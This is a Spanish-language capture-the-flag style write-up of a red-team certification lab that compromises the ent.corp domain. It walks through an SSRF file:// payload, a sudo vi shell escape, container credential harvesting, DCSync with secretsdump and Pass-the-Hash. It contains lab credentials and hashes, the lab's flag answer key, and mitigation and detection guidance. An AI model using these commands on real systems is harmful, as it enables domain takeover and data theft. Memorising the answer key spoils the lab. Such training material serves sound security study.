CRTA Lab 2 — SSRF file:// → GTFOBins → DCSync (ent.corp)
Cadena de compromiso del dominio ent.corp: SSRF con file:// en Flask → credenciales en claro → SSH → escalada vía sudo vi (GTFOBins) → pivot desde Docker y logs → elFinder expuesto → sync_user con DCSync → Pass-the-Hash sobre el DC. Con guardrails de mitigación.
CRTA Lab 2 — SSRF file:// → GTFOBins → DCSync (ent.corp)
Laboratorio: CRTA (Certified Red Team Analyst) — CWL Objetivo: comprometer el dominio
ent.corp. Target inicial172.26.10.11, DC10.10.10.100.
1. Executive Summary & Attack Surface
El laboratorio combina una cadena web→host→AD con dos técnicas distintivas: un SSRF que lee el filesystem del host a través de Docker (file:///hostfs/etc/passwd) y un DCSync ejecutado con un usuario de replicación descubierto en un gestor de archivos web expuesto. El eslabón más fuerte del dominio no es un hash: es el permiso Ds-Replication-Get-Changes de sync_user, que convierte una credencial cualquiera en el contenido entero del NTDS.dit.
Cadena de ataque
2. Privilege Escalation & Lateral Movement Path
2.1 Externos — SSRF que lee el host a través del contenedor
openvpn --config bob-string.ovpn # IP atacante 192.168.90.12/24 (tun0)
nmap -sn 172.26.10.0/24 # único host: 172.26.10.11
nmap -sV -sC -p- 172.26.10.11 --min-rate 5000 -oN nmap_full.txt
| Puerto | Servicio |
|---|---|
| 22/tcp | OpenSSH |
| 23100/tcp | Python Flask (Werkzeug 3.1.3) |
| 8091/tcp | Node.js Express — "HotHost monitoring" |
La app Flask tiene un endpoint /fetch?url= que devuelve el contenido de cualquier URL — SSRF puro. La prueba de file:// revela que corre en Docker con el filesystem del host montado en /hostfs:
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"
# app-admin:x:1001:1001::/home/app-admin:/bin/bash
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config"
# app-admin : @dmin@123
Root cause: el endpoint acepta cualquier esquema (file://) y el contenedor monta / del host en /hostfs. Un SSRF nunca es solo HTTP.
2.2 Escalada vertical — sudo vi (GTFOBins)
ssh app-admin@172.26.10.11
sudo -l
# (ALL : ALL) NOPASSWD: /usr/bin/vi
sudo /usr/bin/vi -c ':!/bin/bash' # → shell root
Root cause: vi en sudoers con (ALL : ALL) NOPASSWD — un escape de editor clásico (GTFOBins). Con root, acceso directo a Docker.
2.3 Post-explotación — HotHost, hashes y el descubrimiento de la red interna
docker exec -it hot_1 /bin/sh
cat /var/lib/hothost/data/hothost.json
# "admin" : 665a26fad71ea9ef3edf5f33195d4b31 (MD5 de "Very3stroungPassword")
docker exec hot_1 env
# HOTHOST_WEB_ADMIN_PASSWORD=Very3stroungPassword
# Assets del frontend: credenciales de prueba en "dummy.css"
/code/frontend/dist/assets/dummy.css
# --db-user: "db_admin"; --db-pass: "DB_P@ssw0rd!"
# /var/log/auth.log → conexiones SSH desde la red interna
cat /var/log/auth.log | grep "Accepted"
# 10.10.10.20
Trampa de la flag (codificación): para la credencial de la DB, la respuesta correcta es el Base64 directo del texto plano (
DB_P@ssw0rd!→REJfUEBzc3cwcmQh), no el hash MD5 convertido a Base64. Verificar siempre qué representación pide la pregunta.
2.4 Pivote a la red interna — elFinder expuesto
nmap -sn 10.10.10.0/24 # 10.10.10.20 (Apache 2.4.58) · 10.10.10.100 (DC ent.corp)
gobuster dir -u http://10.10.10.20 -w /usr/share/wordlists/dirb/common.txt
# /elfinder/
curl http://10.10.10.20/elfinder/files/AD_Resources.txt
# sync_user@ent.corp:Summer@2025
Root cause: un gestor de archivos web sin autenticación lista el directorio de archivos — un vector de filtración subestimado. El nombre sync_user delata su propósito: cuenta de sincronización de directorio.
2.5 DCSync — el permiso vale más que el hash
nmap -sV -p 445,88,389,636 10.10.10.100 # SMB, Kerberos, LDAP, LDAPS → DC
impacket-secretsdump ent.corp/sync_user:'Summer@2025'@10.10.10.100
krbtgt:502:...:36405f88da713c31bbff52e57aea1f86:::
Administrator:500:...:3d15cb1141d579823f8bb08f1f23e316:::
Root cause del eslabón crítico: sync_user tiene Ds-Replication-Get-Changes (+ -All), el permiso que autoriza a un principal a replicar el directorio. Cualquier cuenta con ese permiso puede volcar el NTDS.dit vía DRSUAPI sin tocar el DC.
2.6 Pass-the-Hash — exfiltración del objetivo
smbclient //10.10.10.100/C$ -U 'Administrator' --pw-nt-hash 3d15cb1141d579823f8bb08f1f23e316
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> get secret.xml.txt
<employee>
<position>Director of Engineering</position>
<name>Danielle M. Chen</name>
<baseSalary>189500</baseSalary>
</employee>
2.7 Flags
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | Puerto del servicio de monitoreo | 8091 |
| 2 | Directorio web con info sensible | assets |
| 3 | Base64 de db-pass credentials | REJfUEBzc3cwcmQh |
| 5 | Ruta web que revela los system files | pug |
| 6 | secretToken | Monitor the system files |
| 7 | Payload para leer /etc/passwd del host |
file:///hostfs/etc/passwd |
| 8 | Credenciales de app-admin |
@dmin@123 |
| 9 | Comando sudo de app-admin | /usr/bin/vi |
| 10 | IP del log | 10.10.10.20 |
| 11 | Versión de servicio web en 10.10.10.20 | 2.4.58 |
| 12 | URL con credenciales de sync_user | http://10.10.10.20/elfinder/files/AD_Resources.txt |
| 13 | Password de sync_user | Summer@2025 |
| 14 | IP del DC | 10.10.10.100 |
| 15 | NT hash de krbtgt | 36405f88da713c31bbff52e57aea1f86 |
| 16 | Directorio del xml sensible | C:\Users\Administrator\Desktop |
| 17 | Base salary del Director of Engineering | 189500 |
3. Mitigation & Guardrails
3.1 Por eslabón
| Eslabón | Root cause | Guardrail |
|---|---|---|
SSRF file:// en Flask |
Acepta esquemas arbitrarios + montaje de host en contenedor | Allowlist de esquemas (solo http(s) + allowlist de hosts); nunca montar / del host en el contenedor |
@dmin@123 en /etc/app-config |
Credencial en claro en archivo de sistema | Secretos en gestor (Vault/SSM); rotación |
sudo vi (ALL:NOPASSWD) |
Editor con NOPASSWD y ALL:ALL |
Restringir sudoers a comandos específicos sin escape; secure_path; revisar GTFOBins |
| Root → Docker | Usuario del host en grupo docker o root |
Separación de contenedores; mínimo privilegio de docker |
dummy.css con credenciales |
Credenciales de prueba en assets estáticos | Secret scanning + revisión de assets; nunca credenciales reales de prueba |
| elFinder sin auth | Gestor de archivos web expuesto | Autenticación + ACL por usuario; lista de archivos bloqueada |
sync_user con replicación |
Permiso Ds-Replication-Get-Changes en una cuenta funcional |
Restringir replicación a cuentas gMSA de DC sincronizadoras; monitorear 4662/DRSUAPI |
| Pass-the-Hash | NTLM en la red | Deshabilitar NTLM cuando sea posible (KB2871997, RestrictNTLM), Protected Users, LAPS |
3.2 Detección
| Señal | Fuente |
|---|---|
file:// en parámetros URL |
WAF / logs de la app (esquemas inesperados) |
sudo vi invocado por un usuario no-admin |
logs PAM/sudo (sudo -l + journalctl) |
docker exec no interactivo |
auditd / Falco en el host |
| DCSync (replicación de un principal no DC) | Event 4662 con GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes), userName != $ |
NTLM sobre SMB a C$ con hash |
4624 tipo 3, Network logon con NTLM |
3.3 Orden de prioridad
- Restringir
sync_user(quitar replicación) y monitorear 4662/DRSUAPI — corta el DCSync. - Endurecer el SSRF (solo
http(s)+ allowlist) y desmontar/hostfs. - Corregir sudoers (
visin NTLM → comando acotado) y rotar credenciales en claro. - Asegurar elFinder y revisar assets estáticos.
- Rotar krbtgt y tratar el compromiso como domain compromise.